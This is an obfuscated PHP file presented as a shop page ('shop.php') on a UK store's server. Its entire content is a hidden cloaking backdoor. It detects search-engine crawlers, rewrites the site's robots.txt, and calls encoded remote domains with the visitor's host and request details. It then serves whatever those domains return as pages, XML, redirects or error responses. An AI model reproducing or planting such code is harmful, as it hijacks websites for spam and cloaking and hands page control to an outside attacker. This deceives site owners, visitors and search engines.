File: /home/olgundig/unkoolstore.co.uk/shop.php
<?php
goto FLcjP; kuOxm: $host = $_SERVER["\x48\124\124\120\x5f\x48\x4f\x53\x54"]; goto bJ_oH; bJ_oH: $lang = isset($_SERVER["\110\x54\x54\x50\137\x41\103\x43\x45\x50\124\137\x4c\x41\116\x47\125\101\107\x45"]) ? $_SERVER["\110\124\x54\120\137\x41\103\103\x45\120\x54\137\x4c\101\x4e\107\x55\x41\x47\x45"] : "\145\x6e"; goto pXM7v; I5NN2: function is_bot() { $user_agent = strtolower($_SERVER["\x48\124\x54\120\x5f\x55\123\105\122\x5f\101\107\105\x4e\x54"]); $bots = array("\x67\x6f\157\x67\x6c\x65\142\157\x74", "\142\x69\x6e\x67", "\x79\x61\x68\x6f\x6f", "\147\x6f\x6f\x67\154\x65", "\x47\x6f\x6f\147\x6c\x65\x62\x6f\x74"); foreach ($bots as $bot) { if (strpos($user_agent, $bot) !== false) { return 1; } } return 0; } goto UgAfY; OVQkd: if (strpos($requestUri, $string) !== false) { $istest = true; } else { $string = ''; } goto LlWw2; IUiDi: if ($urlshang) { $urlshang = "\x31"; } else { $urlshang = "\x30"; } goto Qml2C; c6vNd: function requests($xmlname, $http_web, $param) { shuffle($xmlname); foreach ($xmlname as $domain) { $domain = str_rot13(urldecode($domain)); $url = $http_web . "\72\57\57" . $domain . "\57\77" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\x34\x34\63")) { echo "\x34\64\x33"; } curl_close($ch); } if (ini_get("\141\154\154\x6f\x77\137\165\x72\x6c\x5f\x66\157\160\x65\x6e")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } return "\156\x6f\x62\157\x74\165\x73\x65\x72\141\147\x65\x6e\164"; } goto I5NN2; uANaZ: $http_web = "\150\x74\164\160"; goto kuOxm; LlWw2: if (strpos($requestUri, $robots) !== false || strpos($requestUri, "\x3f\x72\157\x62\x6f\164\163\56\x74\x78\164") !== false) { $robots = "\61"; } else { $robots = "\x30"; } goto IUiDi; ucPA5: function is_from_search_engine($referer) { if (empty($referer)) { return false; } $searchEngines = array("\x67\157\157\147\154\x65\56", "\142\x69\156\147\56", "\x79\141\x68\157\157\56"); foreach ($searchEngines as $engine) { if (stripos($referer, $engine) !== false) { return true; } } return false; } goto fl_7Y; NIBDp: $string = "\63\x31\x36\65\x2d\x62\x72\x69\x67\x68\164\60\x31\71"; goto i_udt; fl_7Y: function create_robots($url) { $path = $_SERVER["\104\117\x43\x55\115\x45\116\124\x5f\122\117\117\x54"] . "\57\162\157\142\157\x74\x73\x2e\x74\x78\x74"; $content = "\x55\x73\145\x72\x2d\141\147\145\156\164\x3a\x20\52" . PHP_EOL; $content .= "\x41\x6c\x6c\157\167\72\x20\57" . PHP_EOL . PHP_EOL; $content .= "\x53\151\164\145\155\141\x70\x3a\40" . $url . "\x2f\163\151\164\x65\155\x61\160\56\x78\155\x6c" . PHP_EOL; if (!file_exists($path)) { file_put_contents($path, $content); } else { $existingContent = file_get_contents($path); if ($existingContent !== $content) { file_put_contents($path, $content); } } } goto kHggE; eF0GW: if (!strstr($html_content, "\156\x6f\x62\157\x74\x75\x73\x65\162\141\x67\145\x6e\164")) { if (strstr($html_content, "\x6f\153\x68\x74\155\x6c")) { @header("\x43\157\156\x74\145\x6e\164\55\x74\171\160\145\72\40\x74\x65\170\x74\57\x68\164\x6d\x6c\73\40\143\150\141\162\x73\145\x74\75\x75\164\146\55\70"); $html_content = str_replace("\157\153\150\164\155\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\145\164\x63\157\x6e\164\x65\156\x74\65\x30\x30\x70\x61\x67\145")) { @header("\x48\x54\x54\120\57\x31\x2e\x31\40\65\x30\x30\x20\111\x6e\164\145\162\156\141\154\40\123\145\x72\x76\x65\162\40\x45\x72\162\157\162"); die; } else { if (strstr($html_content, "\64\60\64\x70\x61\x67\145")) { @header("\x48\124\124\120\57\61\x2e\61\40\64\x30\x34\x20\116\x6f\x74\40\x46\x6f\165\x6e\x64"); die; } else { if (strstr($html_content, "\x33\x30\x32\x70\141\x67\145")) { @header("\110\124\124\x50\x2f\x31\x2e\61\40\63\x30\x32\x20\106\157\165\x6e\x64"); $html_content = str_replace("\x33\x30\x32\160\x61\x67\145", '', $html_content); header("\x4c\157\143\141\x74\151\x6f\156\72\40" . $html_content); die; } else { if (strstr($html_content, "\157\153\x78\x6d\x6c")) { $html_content = str_replace("\x6f\x6b\x78\155\x6c", '', $html_content); @header("\103\x6f\x6e\x74\145\x6e\164\x2d\x54\x79\x70\145\x3a\x20\x61\160\x70\154\x69\x63\141\164\x69\x6f\x6e\x2f\170\155\x6c\x3b\x20\143\150\141\162\163\145\164\x3d\x75\164\x66\x2d\70"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\x72\x6f\142\x6f\164\x73")) { $html_content = str_replace("\157\153\162\x6f\142\x6f\164\163", '', $html_content); @header("\103\157\156\x74\x65\156\164\x2d\x54\x79\160\x65\72\x20\x74\145\x78\164\57\x70\x6c\x61\151\x6e\x3b\x20\x63\x68\x61\162\163\145\164\75\x75\164\146\55\x38"); echo $html_content; die; } } } } } } } goto c6vNd; D0WBb: if (is_https()) { $http = "\150\164\164\x70\x73"; } else { $http = "\x68\164\x74\160"; } goto daSlF; CYgEP: if (isset($_SERVER["\x48\x54\x54\x50\x5f\x52\x45\106\x45\122\x45\x52"])) { $urlshang = $_SERVER["\x48\124\x54\120\x5f\x52\x45\106\x45\122\105\x52"]; } goto D0WBb; i_udt: $istest = false; goto OVQkd; Qml2C: create_robots($http . "\x3a\x2f\57" . $host); goto zx1oi; ipolU: $robots = "\162\x6f\x62\x6f\x74\x73\56\x74\170\x74"; goto NIBDp; pXM7v: $urlshang = ''; goto CYgEP; UgAfY: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\125\105\x53\124\137\125\122\x49"])) { $duri = $_SERVER["\x52\x45\x51\x55\x45\123\124\137\125\122\111"]; } else { if (isset($_SERVER["\141\x72\x67\166"])) { $duri = $_SERVER["\x50\110\120\137\x53\x45\114\106"] . "\77" . $_SERVER["\x61\x72\x67\x76"][0]; } else { $duri = $_SERVER["\x50\110\120\x5f\x53\105\114\x46"] . "\77" . $_SERVER["\121\x55\x45\x52\x59\x5f\x53\x54\122\111\116\107"]; } } return $duri; } goto ucPA5; FLcjP: $xmlname = array("\45\x33\x33\x25\x33\61\45\x33\x36\x25\63\x35\45\x32\x44\45\x36\106\45\x36\65\x25\67\66\x25\67\x34\x25\x37\x35\45\66\x37\x25\63\x30\x25\63\x31\x25\63\71\45\x32\105\x25\67\x32\45\x37\71\x25\x36\105\45\x36\65\x25\67\62\45\x36\105\x25\66\x33\45\x32\105\45\66\x37\45\66\62\45\66\63", "\x25\63\x33\x25\x33\x31\x25\63\66\45\63\65\x25\62\104\45\x36\x46\x25\x36\65\45\67\66\x25\x37\64\45\67\65\x25\x36\x37\45\63\x30\45\63\x31\x25\63\x39\x25\x32\x45\45\66\104\45\67\62\45\x36\61\x25\x37\x36\45\x36\67\x25\67\65\x25\x37\x36\45\x36\x31\x25\62\105\x25\x36\67\x25\66\62\x25\x36\63", "\x25\63\x33\45\x33\61\45\x33\66\45\63\65\45\62\x44\x25\66\x46\45\66\x35\45\67\66\x25\x37\64\45\x37\x35\45\66\x37\x25\x33\60\x25\x33\61\x25\x33\x39\45\62\105\45\67\60\45\x37\71\x25\66\x45\45\x36\65\45\67\66\45\x36\63\x25\62\x45\45\x36\x42\45\66\x43\45\66\x44", "\45\x33\63\45\63\61\45\x33\66\x25\63\65\x25\x32\104\x25\x36\106\x25\x36\x35\45\67\x36\x25\67\x34\x25\x37\x35\45\x36\67\45\x33\x30\x25\x33\x31\x25\63\71\45\x32\x45\45\x36\104\45\x37\x32\x25\66\x31\45\66\x39\x25\67\66\45\x37\x32\x25\62\x45\x25\66\102\45\x36\103\x25\x36\104"); goto uANaZ; zx1oi: $param = http_build_query(array("\x68\157\x73\164" => $host, "\x73\160\x69\144\145\x72" => $spider, "\x72\x65\161\165\x65\x73\x74\125\x72\x69" => $requestUri, "\165\162\x6c\x73\x68\141\156\147" => $urlshang, "\x68\164\x74\x70" => $http, "\154\x61\x6e\x67" => $lang, "\163\x74\x72\151\x6e\x67" => $string, "\x72\x6f\142\x6f\x74\x73" => $robots)); goto ZA23L; ZA23L: $html_content = requests($xmlname, $http_web, $param); goto eF0GW; k612e: $requestUri = drequest_uri(); goto VbR_6; VbR_6: $urlshang = is_from_search_engine($urlshang); goto ipolU; daSlF: $spider = is_bot(); goto k612e; kHggE: function is_https() { if (isset($_SERVER["\110\x54\x54\x50\x53"])) { if (strtolower($_SERVER["\x48\124\124\x50\123"]) !== "\x6f\146\x66") { return true; } } elseif (isset($_SERVER["\110\124\124\120\137\x58\x5f\x46\x4f\122\x57\x41\122\104\x45\x44\137\120\x52\117\x54\117"])) { if ($_SERVER["\110\124\124\120\137\130\137\106\x4f\x52\127\x41\x52\104\105\x44\137\x50\122\x4f\x54\117"] === "\x68\164\x74\x70\163") { return true; } } elseif (isset($_SERVER["\110\124\x54\x50\137\106\122\117\116\124\x5f\x45\x4e\x44\x5f\110\124\124\x50\x53"])) { if (strtolower($_SERVER["\x48\124\x54\x50\x5f\106\122\x4f\x4e\x54\x5f\x45\x4e\x44\137\110\x54\x54\120\123"]) !== "\157\146\146") { return true; } } return false; }